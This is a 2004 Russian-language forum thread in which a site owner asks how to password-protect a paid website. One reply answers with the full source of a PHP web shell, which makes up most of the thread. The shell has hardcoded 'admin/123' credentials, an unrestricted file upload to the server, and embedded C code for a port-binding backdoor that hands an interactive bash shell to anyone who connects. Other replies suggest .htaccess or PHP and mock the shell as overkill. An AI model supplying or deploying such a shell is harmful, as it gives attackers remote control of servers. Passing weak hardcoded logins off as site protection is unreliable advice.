Switch to full style
Здесь лучше не дискутировать. Здесь лучше давать правильные советы.
Ответить

Пароль

Вс апр 04, 2004 16:01 pm

Помогите поставить пароль при входе на сайт.

Вс апр 04, 2004 17:43 pm

cgi, php, perl скрипты например=)

Вс апр 04, 2004 19:08 pm

а где лежит сайт?
на каком хостинге?

если есть возможность - нужно ставить пароль через .htaccess
если нет, то на PHP напиши
самый плохой вариант - javasсript

ты определись

Вс апр 04, 2004 19:12 pm

сайт - http://www.erta.ru
если кто знает, то поделитесь скриптом

Вс апр 04, 2004 19:41 pm

Ты более точно объясни ситуацию.
Какого рода пароль? Пароль на какой-то раздел или вообще на сайт? Или просто чтобы пользователь регистрировался и имел возможность войти на сайт по своему логину?

Вс апр 04, 2004 20:26 pm

На весь сайт. Деньги заплатил-регистрируйся, входи, нет-вали от сюда.
Ну вобщем типа как на вуду.

Вс апр 04, 2004 20:58 pm

Ну это через апачевский .htaccess
В и-нете про это дело много написано.

Пн апр 05, 2004 9:42 am

А проще всего- через пхп...

Вот пример небольшого шелла на пхп. В том числе - и авторизация... Всё лишнее можно удалять...

<?
$name="admin";
$pass="123";

if(!isset($PHP_AUTH_USER))
{
Header('WWW-Authenticate: Basic realm="web-shell"');
Header('HTTP/1.0 401 Unauthorized');
exit;
}
else
{
if(($PHP_AUTH_USER != $name ) || ($PHP_AUTH_PW != $pass))
{
Header('WWW-Authenticate: Basic realm="web-shell"');
Header('HTTP/1.0 401 Unauthorized');
exit;
}
}

error_reporting(0);
set_time_limit(0);


/*
Выбор языка
$language='ru' - русский
$language='eng' - английский
*/

$language='ru';

$lang=array(
'ru_text5' => 'Загрузка файлов на сервер',
'ru_text6' => 'Локальный файл',
'ru_butt2' => 'Загрузить',

'eng_text5' => 'Upload files on server',
'eng_text6' => 'Local file',
'eng_butt2' => 'Upload',
);




/* Port bind source */
$port_bind_bd_c="
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
int main(argc,argv)
int argc;
char **argv;
{
int sockfd, newfd;
char buf[30];
struct sockaddr_in remote;
if(argc < 3) usage(argv[0]);
if(fork() == 0) { // Ответвляем новый процесс
remote.sin_family = AF_INET;
remote.sin_port = htons(atoi(argv[1]));
remote.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET,SOCK_STREAM,0);
if(!sockfd) perror(\"socket error\");
bind(sockfd, (struct sockaddr *)&remote, 0x10);
listen(sockfd, 5);
while(1)
{
newfd=accept(sockfd,0,0);
dup2(newfd,0);
dup2(newfd,1);
dup2(newfd,2);
write(newfd,\"Password:\",10);
read(newfd,buf,sizeof(buf));
if (!chpass(argv[2],buf))
system(\"echo welcome to web-shell && /bin/bash -i\");
else
fprintf(stderr,\"Sorry\");
close(newfd);
}
}
}
int usage(char *progname)
{
fprintf(stderr,\"USAGE:%s <port num> <password>\n\",progname);
exit(0);
}
int chpass(char *base, char *entered) {
int i;
for(i=0;i<strlen(entered);i++)
{
if(entered[i] == '\n')
entered[i] = '\0';
}
if (!strcmp(base,entered))
return 0;
}";

?>
<!-- Здравствуй Вася -->
<html>
<head>
<title>web-shell</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
td {
BORDER-RIGHT: #aaaaaa 1px solid;
BORDER-TOP: #eeeeee 1px solid;
BORDER-LEFT: #eeeeee 1px solid;
BORDER-BOTTOM: #aaaaaa 1px solid;
}
table {
BORDER-RIGHT: #eeeeee 2px outset;
BORDER-TOP: #eeeeee 2px outset;
BORDER-LEFT: #eeeeee 2px outset;
BORDER-BOTTOM: #eeeeee 2px outset;
BACKGROUND-COLOR: #D4D0C8;
}
input {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
select {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: 8pt Verdana;
}
submit {
BORDER-RIGHT: buttonhighlight 2px outset;
BORDER-TOP: buttonhighlight 2px outset;
BORDER-LEFT: buttonhighlight 2px outset;
BORDER-BOTTOM: buttonhighlight 2px outset;
BACKGROUND-COLOR: #e4e0d8;
width: 30%;
}
textarea {
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #999999 1px solid;
BORDER-LEFT: #999999 1px solid;
BORDER-BOTTOM: #ffffff 1px solid;
BACKGROUND-COLOR: #e4e0d8;
font: Fixedsys bold;

}
BODY {
margin-top: 1px;
margin-right: 1px;
margin-bottom: 1px;
margin-left: 1px;
}
A:link {COLOR:red; TEXT-DECORATION: none}
A:visited { COLOR:red; TEXT-DECORATION: none}
A:active {COLOR:red; TEXT-DECORATION: none}
A:hover {color:blue;TEXT-DECORATION: none}
</STYLE>

</head>
<body bgcolor="#e4e0d8">
<table width=100%cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>
</td></tr><table>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td align=right width=100>



<?
/* file upload */
if (($HTTP_POST_FILES["userfile"]!=="") AND ($HTTP_POST_FILES["userfile"]))
{
copy($HTTP_POST_FILES["userfile"][tmp_name],
$_POST['dir']."/home/24/10.10.5/upload/".$HTTP_POST_FILES["userfile"][name])
or print("<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><td><tr><font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES["userfile"][name]."</div></font></td></tr></table>");
}
?>
<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000>
<tr><td bgcolor=#cccccc>

<?
/* file upload form */
echo "<form name=upload method=POST ENCTYPE=multipart/form-data>";
echo "<font face=Verdana size=-2>";
echo "<b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".$lang[$language._text6]." <font face=Wingdings color=gray>и</font>&nbsp;&nbsp;&nbsp;&nbsp;</b>";
echo "<input type=file name=userfile size=85>&nbsp;";
if ((!$_POST['dir']) OR ($_POST['dir']=="")) { echo "<input type=hidden name=dir size=85 value=".exec("pwd").">"; }
else { echo "<input type=hidden name=dir size=85 value=".$_POST['dir'].">"; }
echo "<input type=submit name=submit value=\" ".$lang[$language._butt2]." \">";
echo "</font>";
echo "</form>";
?>
</td></tr></table>



<? /* -------------------------[ EOF ]------------------------- */ ?>

Пн апр 05, 2004 14:41 pm

Взял и всё усложнил :lol: :lol: :lol:

Пн апр 05, 2004 17:15 pm

а SiteSentry чего за зверь?

Пн апр 05, 2004 18:48 pm

INTRODUCTION

Create unlimited password protected pages with unlimited usernames and passwords with SiteSentry You don't even have to know Java. Customize the look of your applet to match your webpage. You can even point different users to different URLs all within the same applet. Preview your applet within the program or your favorite brower.

System Requirements

The following are required to run and use SiteSentry

CPU : 486 - 100Mhz (minimum)
Memory : 16MB (minimum)
Hard Disk space : 1.4M for the program
Video Card : VGA (minimum)
Operating Systems : Windows® 95, Windows® 98, Windows® NT4 Workstation or Windows® 2000

Это не то, что тебе нужно одним словом... Делай на пхп- и просто и быстро, благо исходник я уже кинул... Осталось только его подправить под свои нужды... Можно сделать файл в котором ты будешь указывать логин и пароль... И читать его при загрузке Index.php...

Пн апр 05, 2004 19:09 pm

xxxx1 писал(а):А проще всего- через пхп...


Проще? Скриптец на три-четыре экрана :)
"Это вы кушаете много" (с) Ширли-Мырли

xxxx1 писал(а):Вот пример небольшого шелла на пхп. В том числе - и авторизация...

Зачем делать сложно когда можно делать просто?

Пн апр 05, 2004 19:12 pm

Ну можно и на апаче, но тогда следующим вопросом будет- а что это и с чем его идят...

Пн апр 05, 2004 22:37 pm

Думаю про PHP будет такой же вопрос :lol:

Вт апр 06, 2004 8:24 am

Вывод- не надо вообще ничем заморачиваться, и ничего и не будет. КУ =)

Вт апр 06, 2004 9:00 am

Ага, и денег не будет тоже. :lol:

Вт апр 06, 2004 10:33 am

А нафиг они нужны ? Любовь и здоровье некупишь... А значит, деньги- лишь средство достижения цели...
Ответить